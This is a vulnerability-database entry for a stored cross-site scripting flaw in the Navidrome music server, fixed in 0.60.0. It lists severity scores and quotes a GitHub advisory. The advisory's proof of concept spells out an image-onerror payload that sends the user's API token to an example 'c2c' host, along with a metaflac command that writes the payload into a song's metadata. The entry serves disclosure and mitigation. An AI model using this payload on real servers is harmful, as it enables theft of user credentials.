CVE-2026-25578

mediumpriority · track · 24EPSS 0.003 · 28 %ileEUUS
grimoire priorityP3 · Track
Exploitable?
—
no known exploitation
Likely / severe?
0.34% (28th) EPSS
CVSS 6.1 · medium
Is it mine?
3 products
Check your exposure
Who says so?
4 sources
cnnvd · enisa_euvd · osv · nvd

EPSS · scored 2026-10-27

Navidrome is an open source web-based music collection server and streamer. Prior to version 0.60.0, a cross-site scripting vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials. This issue has been patched in version 0.60.0.

01

cvss

Technical severity, 0–10. One row per scoring source.

6.1
010

base score 0–10 · higher = more severe · hover a vector to decode

v3.16.1mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:Nprimary · NVD / NIST USexploitability 2.8 · impact 2.7
v3.16.1mediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:Nsecondary · ENISA EU
v3.16.1mediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:Nsecondary · security-advisories@github.comexploitability 1.8 · impact 4.2
v3.16.1mediumCVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:L/A:Nsecondary · OSV
v3.15.6mediumCVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N/E:Usecondary · CVSS-BT (t0sche)
02

ssvc

A stakeholder decision — act, attend, or track — from exploitation and impact.

Trackcoordinatorcisa_ssvcUS
03

weaknesses

The CWE weakness classes this flaw belongs to.

04

affected products (3)

Products and version ranges known to be affected.

05

advisories (2)

Vendor and ecosystem advisories describing this.

  • GHSA-rh3r-8pxm-hg4wNavidrome has XSS via comment from song metadata2026-02-04ghsa · osvUS

    ### Summary An XSS vulnerability in the frontend allows a malicious attacker to inject code through the comment metadata of a song to exfiltrate user credentials. An attacker's maliciously crafted song has to be added to Navidrome to exploit the vulnerability. ### Details The frontend is using React. In various places, the code uses the `dangerouslySetInnerHTML` escape hatch to set the content of an HTML element. In some places, the value is first sanitized by removing anything looking like an HTML tag. In at least one place the value is used as is, thus leading to the XSS vulnerability. In `MultiLineTextField` component, the input is split into lines and rendered through the `dangerouslySetInnerHTML` property. ```js <div data-testid={`${source}.${idx}`} key={md5(line + idx)} dangerouslySetInnerHTML={{ __html: line }} /> ``` This component is then used in the `SongInfo` and `AlbumInfo` components, when rendering the comment of the song or album. The contents of the comments field is taken verbatim from the metadata of a song, such as the VORBIS `COMMENT` comment of a FLAC file. By crafting the contents of the comment field, an attacker can inject code into the frontend, which runs whenever a user views the song or album info. Additionally, as the Navidrome API token is kept in local storage and since there's no CSP in place unless the user's configured one outside of Navidrome, the attacker can exfiltrate the API token. ### PoC 1. Modify the comment field of a song to contain the following payload using a tool like MusicBrain'z Picard: ```js <img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" /> ``` or use `metaflac`: ```shell echo '<img src=x onerror="fetch(`https://example.com/c2c/${localStorage.getItem('token')}`)" />' | metaflac --set-tag=comment=<(cat) file.flac ``` 2. Add the song to Navidrome 3. Enter the "Songs" or one of the albums page, click the "kebab menu" and then "Get Info" In this payload, a broken image can be seen in the info dialog. <img width="996" height="660" alt="image" src="https://github.com/user-attachments/assets/1467cdff-17b2-4dc6-9fb5-0a83c021ca04" /> In the developer tools' network inspector, the request exfiltrating the token to an example domain can be seen. <img width="410" height="34" alt="image" src="https://github.com/user-attachments/assets/3f668797-63a6-4355-ae57-e95bde444143" /> ### Impact The vulnerability affects users of the Navidrome UI with songs from untrusted sources. ### Mitigations - Users of Navidrome should configure a strict [[Content Security Policy](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP)](https://developer.mozilla.org/en-US/docs/Web/HTTP/Guides/CSP) in their reverse-proxy to make exfiltration more difficult - Users of Navidrome should not index songs from untrusted sources without first vetting their metadata

  • GO-2026-4413Navidrome has XSS via comment from song metadata in github.com/navidrome/navidrome2026-02-05vendor · osvUS

    Navidrome has XSS via comment from song metadata in github.com/navidrome/navidrome

06

also known as (5)

Other names and identifiers for this entity.

07

sources

Which sources assert this record, and when.

published 2026-02-04modified 2026-06-17
09

references (10)

External citations — patches, advisories, analysis.

scry

Attackers weaponise vulnerabilities like this against internet-exposed services. See what is exposed on your perimeter with a free passive scan.

Free scan